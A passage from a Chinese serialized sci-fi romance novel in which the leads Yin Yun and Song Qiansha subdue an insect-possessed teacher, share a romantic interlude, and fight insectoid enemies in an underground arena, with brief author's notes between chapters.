他揉了揉眼睛,眼神中透着无辜:“怎么了,颂戈?” 林清澜若无其事地拂过自己的长发,嘴角勾起一丝温和的笑容。 其实乍一看与林清澜平时很像,只是与今天他颓废的状态大相径庭。 他看起来太精神了,眼神很亮,整个人明艳不已。 “……” 周之旭咂了咂嘴,他瞄了胤允一眼,不动声色地往后退了几步。 胤允盯了林清澜半晌,见他没有承认的意思,眉宇间的不耐更盛,“我最讨厌装货。” 林清澜眨了眨双眼,嘴巴微张,一副惊讶的样子。 不得不说,林清澜这副样子真挺欠揍。 时循都忍不住蹙眉。 颂千纱和齐焦都偷瞄时循,她们视线交汇,二人对视一眼,一个抠下巴,一个抠脑门。 胤允没耐心再等,他一个箭步冲过去,把林清澜的手臂拔下来,咔嚓一声,血液四溅。 速度太快了。 林清澜瞳孔紧缩,它在手臂已经离体后才意识到,紧接着,林清澜的惨叫声同时响起。 吓得周之旭往后躲了好几步。 “周之旭,隔音球。”时循的声音响起。 “哦哦!好!”周之旭从粒子环中掏出隔音球甩了出去。 蓝光闪烁了几下,光幕把空气切割。 冷光映在胤允的脸上,把他眉眼衬得更加锐利,他笑得森然:“你还有多少能量修复这具身体?我全给你拔了,你和林清澜一起死吧?” 虫族感受到一股几乎凝为实质的杀意,和一股难以言喻的种族压迫感。 两种压迫交缠在一起,让虫族想要反抗的意识被生存的本能不断压制,它忍不住发抖,它的眼睛难以抑制地发黑,像是要化为虫身,缩成一团防御外界攻击。 它几乎无从思考这种压迫感从何而来。 “不……我错了!我错了!”林清澜的手臂瞬间长好,四肢变形了一瞬,被他压抑着变回四肢。 他双手合十匍匐在地,对着胤允求饶。 胤允把那手臂扔在地上,血液喷洒,手臂化为虫足。 不知是不是错觉,颂千纱感觉林清澜的清瘦了些。 胤允嗤笑,重新坐下,敞着腿垂头俯视林清澜:“刚刚你听见了吧?” “……”虫族瑟缩着不说话,见胤允没有放过他的意思,虫族瞥了眼周之旭,又看了眼胤允,眼神中透出一丝危险。 林清澜微微垂眸,面色愈发凶狠,它不断压制着自己抖动的身躯,像是在与本能对抗。 胤允的影子在几重冷光下被拉的很长,有其中一个影子罩住了林清澜。 他双腿交叠,踢了踢林清澜的脑袋,眼神睥睨,“颂戈要杀虫母,把这话传给虫族。” 林清澜咬着牙,无法容忍他用如此轻蔑的语气冒犯虫母,他喘着粗气抬头,它的眼珠完全漆黑,像是盯着猎物般盯着胤允,眼神让人不寒而栗。 这眼神让周之旭倒吸一口凉气。 光影扭曲了一瞬,胤允眼神微闪,表情不变。 “小心!” 颂千纱的声音从光幕响起,她焦急地站了起来。 下一秒,簌得一声,二人身影同时消失在画面。 颂千纱的心提到了嗓子眼。 然后是两声凄惨的叫声。 没过多久,周之旭的脸忽然放大出现在光幕上,他缩着脖子,一脸兴奋地把光脑移了移。 颂千纱悄悄松了口气,不再紧张,坐下撑着脑袋。 不多时,光幕上再次出现胤允与林清澜的身影。 林清澜眼眶全黑,双手被插了两把刀钉在墙上,双脚悬空。 胤允抱着臂,似乎在考虑最后一把要不要插在心脏。 “母亲将带领我们吃光人类!杂种!”林清澜面部狰狞,浑身颤抖着与瑟缩的本能不断地对抗,身体感受不到痛意一般,疯狂撕扯自己的身体。 古怪的是他几乎没有流血,像是早就流干了。 胤允嘴角轻晒,他眸中金光大盛。 虫族耳边一震嗡鸣。 “呃啊!!” 周之旭微微蹙眉,不知是不是错觉,他有些觉得耳膜发胀。 虫族感觉到大脑像是生生被人掰开的疼痛。 原本盯着胤允的漆黑双目忽然逃离般扭头,它几乎顾不得手臂被洞穿的疼痛,疯狂扭动着身躯,甚至用脑袋砸向墙体。 林清澜的双目流出血珠,片刻后便晕眩过去。 光幕离安静地几乎听不见呼吸声。 冷光洒在六人身上,所有人的都盯着林清澜,没有说话,眼神里全是疑惑。 虫族是怎么昏过去的? 周之旭张了张口,却没出声。 颂千纱眼中迟疑,像是想到了什么,又不敢确定。 胤允浑然不觉自己做了一件令人震惊的事,他渡步过去拿起光脑。 光幕晃动了半晌,他的脸在光幕中变大,他盯着颂千纱看,没有主动解释的意思。 两个房间安静了许久。 直到颂千纱忽然站了起来,喜上眉梢:“胤允,你天赋恢复了?” “恢复了。”他颔首回应颂千纱。 两个人说话像是在说谜语,其他三人眼中的疑惑更深。 “什么天赋?”齐焦蹙了蹙眉,满脸不解。 颂千纱对着齐焦故作神秘的眨眼,冲着光幕扬了扬下巴:“你问他自己。” 齐焦咬碎嘴里的糖,也不纠结,目光转向光幕。 “胤允,你天赋是什么?”齐焦张口就问。 “精神力攻击。”胤允回的兴致缺缺。 时循眉头微蹙,低头沉思,喃喃道:“精神力攻击?” “嗯,如果比他弱很多,与他对视会被粉碎识海,如果比他强,也会被眩晕片刻。”颂千纱勾着唇望着胤允,眼神带着光亮,“总之,轻则产生眩晕和剧痛,重则摧毁对方的意识。” 在场三人都忍不住咽了下口水,且不说胤允本身是4S+,精神力在他之上的人寥寥无几,这能力比外挂看起来还要强上几分。 她双手撑着脑袋歪头,眼中带着兴奋。 “你什么时候恢复的?” “半小时前。” 颂千纱眼神更亮:“那记忆呢!” 胤允微微一顿,他摇了摇头。 颂千纱弯着的唇变回了一字。 齐焦目光反复落在二人身上,凝眸片刻,吐出一口气:“所以,这个虫族现在什么情况?” 胤允撑着脑袋,望着光幕:“它基本已经废了。” “废了?”周之旭震惊中带着茫然:“是成为普通人的意思吗?” “它不会再醒过来,有自己的意识了。”颂千纱看着林清澜的身影,表情没什么变化,像是在说一件小事。 颂千纱和胤允似乎都觉得这是事稀松平常,这让三人更加惊疑,表情震惊不已。 这能力实在让人瞠目结舌。 “这天赋到底怎么弄出来的,我忽然好羡慕……”周之旭扶额。 “天生的。”齐焦叹了口气:“羡慕不来。” 三人消化了半晌,时循才开口,语气试探:“也就是脑死亡?” 她的眉头愈发紧促,她的手在桌底微微蜷缩,面上却不改:“那他……” 他是不是也死了? 时循呼吸微窒,指尖轻颤。 她抿着唇,声音很轻,没有传到另一端,颂千纱转头看向时循,想要开口回答,周之旭的话先一步打断了二人。 颂千纱拍了拍时循的手,对时循微微摇头,时循眉头微松,但还是有些忧虑。 “偶像,你为什么要虫族去传讯?”周之旭望向被挂在墙上的林清澜,有些犯怵:“还有林老师不会死……吧?” “虫族会更加戒备,也更好找出虫母。”时循替胤允解释道。 接着,她顿了顿,望向胤允。 四人都望向他,明显在等他开口。 胤允似在出神,他坐在椅子上缓缓抿了一口水,见几人望着自己,不明所以地蹙了蹙眉,“干嘛?” 颂千纱眨了眨眼:“在等你说林清澜会不会死呢,时循都急死了。” “颂千纱。”时循凉凉地瞥了她一眼。 “急了。”颂千纱的凳子往齐焦那边挪。 时循没理会她的调侃。 “死不了。”胤允放下杯子,目光落在颂千纱身上:“他身上的虫族对他已经没有威胁了,他如果足够强,可以试着吞噬那只虫族。” “吞噬?!那他是要变成虫族吗?”周之旭震惊。 “不知道,等他做到了你可以问问他。”胤允望着颂千纱的目光逐渐缱绻:“只要能保证不背叛我们,他或许能成为找到虫母的突破口。” 时循低头,手指不断在桌面上打圈摩挲着。 原本解不开的线团在此刻找到一个口子,几人都微微出神着。 周之旭的隔音球被胤允收了起来,胤允递给他,渡步到墙上拔出自己的两把刀。 林清澜整个人白的几乎与墙融为一体,只有一两滴粘稠的血液沿着刀锋滴落,他的身体失重,噗通一声倒在了地上。 倒地的姿势实在不体面。 胤允脸上带着一丝嫌弃,他蹲下用林清澜白色的衬衫擦了擦刀,后将刀收进了粒子环。 周之旭走上前。 他有些害怕林清澜忽然爆起,犹豫了一瞬,扯了下胤允的衣袖,“要扶到床上吗?” “要扶你自己扶,我才懒得管他。”胤允抽回自己的衣袖往回走,后大刀阔斧地坐着。 周之旭挠了挠头,挣扎了半晌,蹑手蹑脚地拖着林清澜,努力不让自己碰到林清澜的血迹,给他摆了个体面的姿势靠着。 时循像是想到了什么,刚刚抬眉,还未说出口的话就被胤允打断:“纱纱,我有话要和你单独说。” 其实他神色中带着些焦急,仿佛已经等了好久,等到这些事处理完才说。 颂千纱转头望向时循,时循微微摇头:“没事,你们先聊。” 话毕,时循接着低头,像是在考虑着什么。 颂千纱等了时循两秒,确认她真不准备再开口,就把画面切回隐私模式。 “怎么了?”颂千纱举着光脑,声音不自觉地软和下来,望着光幕。 周之旭起哄的怪叫被胤允瞪了一眼,噤声自觉退出房间。 门咔嚓一声彻底关闭,此刻光幕中除了昏迷不醒的林清澜,就只剩下胤允。 胤允坐姿松懈下来,沉默地望着她,喉结滚动了一下。 半晌,他轻轻吐了口气,靠在椅背上,手撑着太阳穴,眉眼都耷拉下来:“想你,想抱你。” 颂千纱脸颊微烫,她不自觉地望向身旁的齐焦与时循。 二人眼神揶揄,虽然听不见,可猜也能猜个七八谈话的内容。 颂千纱绷着脸上床拉起窗帘,隔音球在四个角隔绝出一块单独的私域。 周围逐渐安静了下来,只剩对视的二人。 一股甜蜜的气息不自觉地从二人间氤氲而出,将他们包裹。 “我也想你。”颂千纱眉眼松了下来,嘴角抿出一丝弧度。 胤允依旧盯着她不说话,与刚刚的张扬强势不同,他现在像是正在翻出肚皮,等待抚摸的撒娇小龙。 颂千纱用手撑着脑袋,趴在床上,双腿不自觉地翘起。 她在此刻生出一股想要揉揉他的脑袋的冲动。 她鬼使神差地把手放在屏幕前,对着虚空摸了摸。 “明天早上就见到啦。”颂千纱眼睛弯弯的。 “离明天早上还有很久…很久……很久。”胤允盯着颂千纱,眉毛弯成八字,尾音一声比一声长。 他微微歪头,没接着说,只是望着她,瞳孔中倒映出她的模样。 颂千纱的心跳莫名乱了一拍。 “怎么了?” “我现在想吻你。”胤允也趴在桌子上学她的动作。 他望着颂千纱,眼神湿漉漉的:“我身上你的气味也很淡了。” 颂千纱莫名从胤允脸上看出几分委屈,她脸上的红霞更显眼了些。 他并不擅长忍耐,但眼中的欲望与思念交织绘制出来的冲动,让颂千纱本能地把脑袋埋在手心,像是鸵鸟埋沙般把自己藏起来。 半晌,她又抬起头,在光幕中露出两只眼睛望着胤允。 男人依旧直直地盯着她,嘴角的弧度逐渐加深,不愿意错过颂千纱的任何反应。 她的目光带着娇意,分明害羞的不行,却又矛盾地仰起脖子,故意不看他。 可颂千纱的视线转了一圈,又不自觉地落回胤允脸上:“怎么你总想着这个。” 胤允望着光幕里生动活泼的她,眉眼都逐渐松了下来,嘴角勾着笑,眼睛凑的离光幕更近。 他的声音带着些哑意,上扬的五官被笑意压弯:“纱纱脸红了。” 颂千纱脸上的羞恼更甚:“我挂了!” 他嘴上却讨饶:“别挂纱纱,我错了!” 他学着颂千纱刚刚的模样,也只把两只眼睛露出来,看起来可怜兮兮的。 颂千纱被逗得笑得牙不见眼,肩膀不断颤动着。 胤允望着光幕上生动活泼的颂千纱,眉眼都染上温和。 颂千纱干咳了两声,把光脑放在枕头旁:“好了,我要睡觉了。” “好,明天见。” “晚安。” 胤允没有挂断的意思,听着光幕那头浅浅的呼吸声,眼神中的温柔快要溢出来。 “好想你好想你。” 他枕着手臂,眼神依旧盯着屏幕,像是满腔的思念忍不住从口中溢了出来。 脑中不断闪回出碎片般的万年记忆,让他的思念从心口不断涌入四肢,手指都忍不住蜷缩。 皎洁的月光照耀着星球的半个面,给了带着谜团的每个人一个静谧的夜晚。 风从西边吹来,透过每个缝隙钻进屋里,吹动所有人的发丝,给他们的深夜带来一丝和煦的清凉- 女寝的早上。 颂千纱睁眼时,天才刚蒙蒙亮。 第一次醒的那么早。 她睡意惺忪,愣了半晌才缓过来,下意识拿起光脑。 醒来时电话没有挂断,光脑的屏幕上映着对面的天花板,隐约还能听见对面浅浅的呼吸声。 她下意识屏住呼吸,盯着屏幕听了一会儿他的呼吸,好一会儿才红着脸回神。 颂千纱轻手轻脚地下床,嘴角故意压平,从衣柜拿出一身修身的粉色裙装穿上。 修身长裙把她的身形勾勒的娇俏又性感,抬脚就想要出门,正打算穿鞋时又在全身镜前端详了片刻,扯着裙摆转了半圈,又蹙了蹙眉,把头发拨向一边,总觉得少了些什么。 颂千纱挠了挠头,满脸苦恼地盯着镜子里的自己。 “让时循帮你化个妆啊。”齐焦的声音突兀地响起,语气懒懒的。 颂千纱身影一僵,她缓缓转头。 不知何时,时循和齐焦已经起床,二人撑着脑袋看她,动作如出一辙。 三人对视。 房间分外安静,静的颂千纱抓耳挠腮。 “……抱歉,我太响了吗?把你们吵醒了?”颂千纱干咳两声,若无其事地问,手先是抓了抓根本不乱的发尾,然后拿起光脑打开胡乱刷着。 没办法,人在尴尬的时候就会假装很忙。 “没有,这个点也差不多该醒了,准备去训练的。”时循从床上站了起来,走到洗漱间拿起牙刷刷牙,后倚在门口睨颂千纱。 “去见胤允?”齐焦瞥了眼颂千纱,若无其事地打开衣柜。 颂千纱不自觉地抓皱裙摆,脸颊发烫,眼神微微闪烁,有些不自然:“嗯。” 齐焦歪头打量着颂千纱。 时循叼着牙刷拆了个包裹,一个崭新的包递到颂千纱眼前。 颂千纱眨眼,黑色的包配上粉红色的丝带,与她今天的裙装正好搭配。 齐焦走上前把颂千纱摁在座位上:“等我一会儿。” 她翻箱倒柜好一阵子,才从底层翻出一个灰扑扑的,看起来年代已久的化妆包。 “这是什么?”颂千纱歪头。 齐焦嘿嘿一笑,打开化妆包,几个明显外包装褪色的口红引入眼帘:“好像快十年了,这些还能用吗?” 时循叹了口气,摇头道:“我昨天晚上买了些,不算很齐,但用新的吧,你那个我感觉都快长毛了。” 话毕,她从门口又拿了几个快递。 齐焦见此,把化妆包塞回了柜子:“料事如神啊,小殿下。” 时循瞥了她一眼,手上拆快递的动作不停。 齐焦揽着颂千纱的肩,笑得惬意:“她昨天看到胤允的时候肯定就已经开始盘算给你打扮了哈哈哈哈哈哈哈!” 时循把卷发棒递给齐焦,表情八风不动:“你昨天也嘀咕要给纱纱买衣服吧?让我猜猜,是不是已经在衣柜里了?” “你怎么知道?”齐焦没有丝毫被揭穿的尴尬,反而冲时循挑了挑眉。 时循嘴角勾起一丝漫不经心的弧度:“我料事如神呗。” “你们一会儿去哪?”时循问颂千纱。 “主要去看看胤允的天赋和伤势恢复的怎么样,顺便看看能不能探查出虫母的位置。”颂千纱抓着齐焦的手,眼睛鲜亮了一瞬:“你的伤恢复的差不多了。” 齐焦点了点头,她并不意外,退后一步打量颂千纱,歪头思考一瞬,继续帮颂千纱卷着头发。 “那你们准备去干嘛?”颂千纱被时循要求闭眼。 时循回的简略:“去找林清澜。” “那晚上我们在星宇楼会合?” “嗯。” 刷子扫过颂千纱的脸颊,有些痒,她的睫毛微颤,开始期待起一会儿的见面- 一个小时后,胤允依靠着墙,正在楼下等着颂千纱下楼。 他如往常一般,微微抬着下巴,仰头数航行舰。 五十八、五十九…… 忽然耳边传来一阵骚动,隐隐传来惊呼声,声音越来越大。 胤允眉头微蹙,眼中滑过一丝熟悉的不耐。 对此地的聒噪不满已久,他的身子转了个方向迈步,想要找个清静点的地方。 渡步时,视线下意识朝骚动的地方瞥去,他的身体愣在原地半晌。 粉色的裙摆在明媚的阳光下衬得如同一只翩翩起舞的蝴蝶,微卷的长发被清风吹起,一双红宝石般的眼睛熠熠发光,一步步朝他走来。 他闻到了一股莲花的清香,喉结滚动了一下。 是颂千纱。 她正带笑意地朝他歪头。 万年前的记忆碎片在脑中不断闪回。 胤允怔怔地望着她,嘴唇动了动,许久才找回自己的声音。 “纱纱……” 她的眉眼被细细描摹后更加精致,让人舍不得眨眼。 “我就说,他能被你迷的找不着北吧!” 齐焦的声音从身边传来,打断了胤允痴迷的神色。 胤允恍然回神,他此刻才发现,颂千纱身边还站着两个人。 “……” 他偏头望向二人,脸色很臭,一副要吃人的样子。 齐焦和时循视若无睹,一人一个光脑像是不要钱一般拍着二人。 他狠狠地剜了二人两眼,动作一刻不停,走上前迅速与颂千纱十指相扣,朝所有人显示主权。 弄得颂千纱啼笑皆非。 “胤允,林老师怎么样?”颂千纱捏了捏他的手,拉回正题:“时循她们找他。” “死不了,在我宿舍,你们找周之旭开门。”胤允一口气说话,着急要驱赶面前的两个灯泡。 二人显然也看出胤允的意思,齐焦忍不住对着胤允翻了个白眼。 “晚上见!” “拜拜!” 三人打招呼离开,胤允被颂千纱拍了下肩膀,不情不愿地冲二人点了点头,后立刻把脸转开。 四人在门口分道扬镳。 二人正往航行舰停放处走去,阳光洒在颂千纱身上,像是给她渡了一层金边。 胤允绷着脸瞥向众人,步子一下比一下快,到后半程,他直接一手抱起颂千纱开始提速。 裙子在颂千纱的惊呼声中扬起,胤允狂奔,速度比之前快了许多,二人一眨眼就进了航行舰里。 门砰的一声关上,他紧促上扬的眉眼终于落了下来。 “怎么了?”颂千纱蹙眉望着他,将包放在沙发上:“你的速度比之前快了不少,你恢复了多少”胤允搂着她坐在自己腿上,禁锢着她的腰,垂眸将自己眼中的占有欲都藏在眼睫下,指腹压紧了一分。 他对颂千纱的问话避而不谈。 “你今天好漂亮,纱纱。”他的声音低哑,语气带着委屈。 颂千纱微微蹙眉,眼神中带着疑惑。 半晌,她捏着胤允的下巴把他的头抬起来。 “你不喜欢吗?” “太喜欢了,喜欢到不想别人看见。” 他的眼尾带着红意,仰头望着颂千纱,眼中的占有欲在此刻毫无保留地暴露在颂千纱的视线里。 男人的手克制地停在腰侧,带着攻击性的眉眼在此刻成了他撒娇卖弄的武器。 她听见胤允的心跳。 颂千纱用拇指擦了擦他的眼尾,垂眸望着他。 “想吻你。”胤允的声音彻底嘶哑,仰头索吻。 颂千纱的背脊笔直,垂头睨他,眼神不变。 “纱纱。”他仰头望着颂千纱,挺胸更靠近她的脸,眼神湿漉漉的。 颂千纱依旧没说话。 男人的龙角在此刻露了出来,眼尾的红意伴着龙鳞。 颂千纱眼神微闪,没有立刻碰他。 见颂千纱不动,胤允抬脸,用脸颊的龙鳞轻轻刮蹭着颂千纱的指腹。 他在诱惑颂千纱。 颂千纱喜欢摸他的龙鳞,万年间养成的癖好。 她微微附身,蜻蜓点水地吻了一下。 “你看起来不对劲,小龙。”颂千纱眉头蹙着,用指腹擦了擦他唇角的口红印。 胤允眼神沉了下去,瞳孔在此刻变大,龙鳞都微微炸开。 他盯着她的丰唇微微喘息,颂千纱呼吸微顿。 半晌,胤允像是再也忍不住自己欲望的,缓缓收紧臂膀,抬头吻了上去。 吮吻的水声一下一下地响彻车里。 二人呼吸交缠滚烫,都乱了呼吸。 颂千纱双手攀附在胤允的肩膀上,红色的双眼中氤氲着水意,仰头望着他。 口红在二人的唇上晕成一团,在彼此眼中添了几分暧昧。 胤允眸色渐深,身体微微往下倒,一只手拢住颂千纱的背,另一只手虚抚上她的指尖,伸手挑开她微蜷的手指,插入她的掌心,十指相扣。 “纱纱好漂亮。” 他的手不由分说地附上颂千纱脊背的皮肤,眼神逐渐迷醉。 “纱纱。” “纱纱,好想你。” 正说着,他几乎整个人都压了上来,饥渴地贴着颂千纱,低头埋在她的颈侧,用鼻尖蹭着颂千纱的下巴。 他手臂禁锢的力道都要比以往重许多,让颂千纱恍然记起刚和他重逢时的状态。 “胤允,你是不是记起什么了?” 他眼中透着无辜,手却分外强势,让颂千纱感觉到一丝熟悉。 颂千纱她思忖半晌,抬眸望向胤允,用食指轻轻推开他的脑门。 胤允的脑门被推偏,眼神还微微懵着。 “没有。”他矢口否认,拐了个弯又贴了上来,声音有些飘:“我现在总是会想起一些以前的感觉和画面,记不起具体事件。” “能力呢?你昨天用了天赋,有没有不舒服?”颂千纱撇嘴,把想要坐起来,却被胤允压的动不了。 “没有不舒服。”胤允埋在她的颈窝,深嗅着她的莲香:“我总觉得,好像是进阶了。” “进阶?”她眼神惊诧。 自来到这个世界后,颂千纱就再没听过宛如进阶一般熟悉的词汇,她怔忪了好一会儿才反应过来。 “是修为吗?可这里没有灵气。”颂千纱眨眼,眼中是止不住的惊讶。 “天赋,身体似乎都进阶了,不知道是不是彻底……嘶……”他说到一半又卡壳了,脑中像是被针尖刺了一下。 颂千纱没注意胤允的状态,紧眉深锁着,把他未说完的话补全:“彻底进入成熟期。” 她正出神地想着,龙角手感温润,她的指尖打圈抚摸着龙角,有些爱不释手。 胤允强忍着颤了颤,喉结不断滚动,把自己的身躯贴的离颂千纱更紧。 颂千纱没意识到,埋在她怀中的男人脸上已经逐渐染上红霞,她手中动作不停。 半晌,一声闷哼从胤允口中溢了出来,胤允的身躯开始止不住地颤抖。 颂千纱这才回过神来,吓了一跳。 “小龙?”颂千纱双手扶着胤允的肩膀,把他从颈侧推起来,眼中带着担忧:“你怎么了?!” 胤允红霞爬了满脸,眼中还带着懵懂,微微启唇,失控地喘着粗气。 颂千纱哑然。 他不说话,又重新埋回颈间,大掌包裹着她的手,重新放回龙角上。 “……” 他的呼吸停顿了一瞬,金眸与她对视,微微颤动。 颂千纱忍不住扬眉,她挣了挣身体,胤允搂的更紧。 “帮帮我,纱纱。”呼吸喷洒在她的脖颈,那片肌肤一阵滚烫。 “……”颂千纱抿唇。 她的裙子早已被揉皱,与他的领口如出一辙。 作者有话说:已经连续一周只睡了四个小时了,有点顶不住了,在老家压力太大,之后可能会请两天假,等回去再接着更。 第63章 二人上午在航行舰内感受到了一股异常的波动,这股从打斗场传来,二人到时又骤然消失,似乎在刻意隐藏着什么,又像是某种诡异的召唤。 中午,打斗场迎来了前所未有的高潮。 双人肉搏战来了个一招制敌没有败绩的新人组合,一男一女,其中一人到现在还未出手过。 二人装束怪异又新颖,都用一条布蒙着眼睛,像是蔑视对手,又像是掩饰什么,大家众说纷纭,各有说法。 但这组合除了在观众席引起热潮,还招上了不少高层的注意。 远处的一号房间内,有几人正开着灯观战- 擂台上。 胤允站在前排,大有一人敌万军之势。 颂千纱盘腿坐在打斗场擂台后场,下颌用力收紧,用天赋探查着这里。 “胤允,我探到了,在那。”她骤然睁眼往北看去。 胤允神色不变,他如前面几十次一样,丢垃圾一般把对手丢下擂台,做完后,他转身望向颂千纱:“走吗?” “等等。” 颂千纱侧耳蹙眉,蚕丝布料下一双漂亮的眼睛正散发着红色的熠熠光辉。 她脑中再次传来奇怪的呓语声,让她莫名的心跳加速,倍感兴奋。 身体的失控感让她汗毛倒立,她下意识望向胤允。 “那茧在说话,你听见了吗?” “没有。”胤允甩了甩头,眉眼中戾气更盛。 他倒是又浮现出不少与颂千纱万年来的记忆。 颂千纱眼中警惕更盛,紧绷着下颌,望向那个茧。 它在地底散发着奇怪的气场,勾引别人不断的发生冲突。 二人的紧眉深锁与场外的喧嚣格格不入,见颂千纱二人望着的方向,一号房间内有半数忍不住站了起来。 几分钟后,有人从房间走了出去。 过了不久,下一场的选手已至。 原定的选手站在台下,被安保附耳说了几句后就一脸兴奋地离开了。 这位选手与前面几个完全不同,独自上台挑战他们两个。 是个个子不高的男人,气质儒雅,眼睛却带着怪异的妖娆。 胤允与颂千纱对视,在彼此的眼中都看见了不寻常。 不知怎么的,二人都感觉到一股怪异的熟悉感,像是在哪里遇见过。 三人互相打量了半晌。 观众的欢呼声此刻来到顶峰,可这样热烈的欢呼声,场内无一人在意。 颂千纱缓缓站起来渡步至胤允身侧,她的天赋虽无法探查对方的异常,却能明显感觉出面前这人与茧的回应。 她的眼神紧盯着那人,凝视了半晌,语气很轻,只有场上的三人能听见:“虫族。” 胤允也认了出来,是那日偷袭齐焦的虫族。 气氛肉眼可见的紧张了起来,那人不在掩饰自己的非人感,歪了歪脖子,嘴角一勾。 这块布料在三人眼里视若无物。 因为不管是于颂千纱,胤允,还是对面的虫族而言都毫无影响。 那人缓缓迈步走至颂千纱身前。 胤允的拳头几乎在下一刻就攥紧爆起,他的动作被颂千纱拉住,他蹙眉吐气,努力忍着。 接着,虫族的动作更加无所顾忌,冲着她的脖颈深吸一口,面色中透着笃定。 他嘴角勾的更深,望着颂千纱的眼神散发着幽光:“终于找到你了。” 这动作让颂千纱没来由的恶心,她缩了缩脖子。 胤允嘴唇抿紧,他的眉眼彻底沉了下来。 下一瞬,他翻身一脚踹在那人的腹部,却被他以诡异的速度躲开。 擂台权限被更高层面临时接管,一号房间内有人按下按钮。 接着,一声低沉的蜂鸣声响起,顶级防护罩迅速升起,一寸寸闭合,像是将三人彻底隔绝在内。 观众们面面相觑。 “什么情况?!一招没丢下去而已,太看得起这两个人了吧?!” “怎么好端端的升起了机甲赛才有的防护罩?” “……” 场外依旧引起一阵沸腾嘈杂,但台上已经一片安静,只剩出拳的风声。 胤允一击不成,眉眼中戾气更重,呼吸都重了一瞬。 他的速度再次暴增,动作更快,拽住他的手臂一掰,立刻将其抡倒在地,单膝压住其胸口,将其桎梏的动弹不得。 地面被虫族的身躯拍出闷响。 下一秒,他的手掌抬起。 “啪——”胤允一巴掌甩在那人脸上,眉眼都扬了起来。 “找谁?我弄死你!” 话毕,他抡圆了抽那人巴掌。 几乎两下就把那人的脸扇肿了。 颂千纱忍不住挤了挤眼睛,她隐约还听见骨骼碎裂的声音。 更诡异的一幕出现了。 虫族看起来并不在意胤允的羞辱,勾着唇依旧笑的妖娆,被打的创伤也在以一种诡异的速度愈合着,丝毫不顾及这里正在直播。 颂千纱朝四处望去,似乎因为这一层防护罩,众人无法近距离看清三人的动作,只能远观,如雾里看花一般朦胧。 她暗自松了口气,视线回落在虫族身上。 虫族似乎因为胤允的力道而更加兴奋。 “你变强了。”他丝毫不害怕胤允的攻击,脸上甚至带着喜色,挺起脖子兴奋地观察着胤允,目光又落在颂千纱身上:“是因为她吗?” 胤允的面色彻底阴沉下来,他失去耐心,绷着脸掐住他的脖颈开始发力。 虫族的脸色逐渐涨红“别。”颂千纱让胤允停下动作,她蹲下身子凝望着他:“你在找我?还是虫族在找我?” 那人的身形顿了一刻,对她的试探挑衅地挑了挑眉,并不回答。 颂千纱紧盯着他,不错过他身上任何一丝表情:“是需要我?还是我的血?” “你觉得呢?”虫族开口姿势松散。 场上只剩清脆的巴掌声。 胤允想到他深嗅颂千纱的模样就来火。 他把虫族提了起来,怒极反笑:“你不害怕我打死你,那你害不害怕我把茧挖出来?” 话引刚落,一号房间内所有人都站了起来。 那虫族眼神微顿,皮肉蠕动着恢复,最后勾唇觑他:“你打不开。” 他的怒意几乎要把眉毛烧着了,他把虫族随手往地上一扔,大有要试一翻的架势:“你确定?” 颂千纱拉了拉他的衣袖,让他冷静,后抬眼俯视虫族:“你想试试吗?我们还从未败过。” 空气变得静默,颂千纱挺胸站在胤允前面,眼中带着自信。 “里面是虫母吧?”她的目光紧盯着虫族。 风声簌簌地刮过颂千纱的的身躯,将她的衣袂吹动。 虫族身形一僵,嘴角的笑勾的更盛,如一朵刚盛放的玫瑰:“你知道又如何?” 它眼中狂热地盯着颂千纱,眼珠瞪圆陷入癫狂:“你将成为虫母醒来最大的补品!” 颂千纱与胤允对视一眼,面色绷起,手中紧握成拳,呼吸微窒,心中了然。 果然是虫母。 这句话彻底砸死了一号房间内几人的侥幸,他们脸色骤变,挥手开始行动。 监控器的蓝光放大地看着三人的画面,有人低骂了一声。 “他的脾性太不可控了,给我们的行动多了许多凶险!”一个愤怒的男声从一号房传来。 房间内其他人望着场内,没说话。 一个安保员停下脚步,往茧处瞥了一眼。 下一秒,周围的保卫员瞬间围满擂台,这样怪异的事让观众们一个个争先恐后地离开。 “卧槽什么情况!” “不对!这里不对!快逃命啊!!” “……” 没过多久,场上变得空荡。 几个大人物在一号房内抽着雪茄,面色一个比一个阴沉。 “要阻止他吗?这样太破坏计划了。”一个声音醇厚的中年男声道,他蹙着眉把雪茄在缸里摁灭。 “他是我们之中的最强者。”一个少年声音冰冷地答。 一人坐着,眼中盯着颂千纱蒙着双眼的布料不说话。 “静观其变吧,母亲还未醒,如果能得到那女人的血,母亲会马上醒来。”一个清冽的女声响起。 擂台上的虫族见观众一窝蜂地逃跑后,更加旁若无人。 “这场硕大的狂欢——”他愈发放肆地躺在地上,肩膀颤动。 下一刻,他又几乎贴在颂千纱脸上:“你们逃得掉吗?” 他的脸在下一秒被颂千纱扣进地里,但他笑容不改,依旧用恢复迅速,这速度让人毛骨悚然。 擂台四周气氛陡然变得沉重,颂千纱脑中的呓语声更大,她忍不住蹙眉按了按太阳穴。 胤允脑中闪过的片段更多,他面色发沉。 保卫员一个个彻底不在掩藏,把虫足露了出来,一个个膨大了许多倍。 擂台周围许多生活再此的选手在此刻如同感受到召唤一般,面部抽动了一翻,后不约而同地围了过来。 所有人眼瞳都变成黑色,动作统一地放出机甲,盯着擂台,如恶狼般盯着二人。 颂千纱绷着脸放下手,神色不惧。 “你觉得你逃得掉吗?”胤允的手掐在他的脖颈,他环视四周:“你们现在死了,可就死了。” 台上的男人面色终于凝固了片刻,他歪了歪头,瞳孔也开始变黑,将四肢虫化,声音发沉:“你怎么知道?!” 颂千纱伸手放出两架3s+机甲,抬手用冲击炮对准台下虫族扫射:“你猜猜?” 胤允笑得张狂,他跳上机甲,操纵着离子炮对准台上已经虫化的虫族:“只有这点人?拦不住我。” 台上的虫族抬手也上了机甲,他的机甲与虫足融合,像是特质的。 他声音变得阴沉,从声筒传来:“是吗?那让我试试,你现在能有多强。” 虫鸣声在地底翻涌,一时间整个地下打斗场被一股奇异的磁场覆盖,颂千纱愣神片刻,几乎忘了扣动扳机。 她心跳更加失控,她扫向周围的虫族,他们似乎变得更加悍勇,整个面庞都带着诡异的兴奋。 作者有话说:今天剩下的3k会补在这一章里,晚上变6k, 第64章 虫鸣声逐渐覆盖了整个打斗场,台上的虫族嘴角勾起,他抬手一挥,擂台下的虫族收到指令开始往上涌。 颂千纱的身体晃了晃,太阳穴突突直跳,心跳无法平复,她凌乱地后撤了几步防住四面八方攻来的虫族。 胤允受到的影响似乎更大,不少虫族冲他袭来,他的机甲发出警报,可他无暇应对。左手捂着头,右手撑地,姿势不稳,机甲几乎无法保持站立。 忽然,一口血从喉间涌了上来,胤允蹙眉,又强撑着咽了下去。 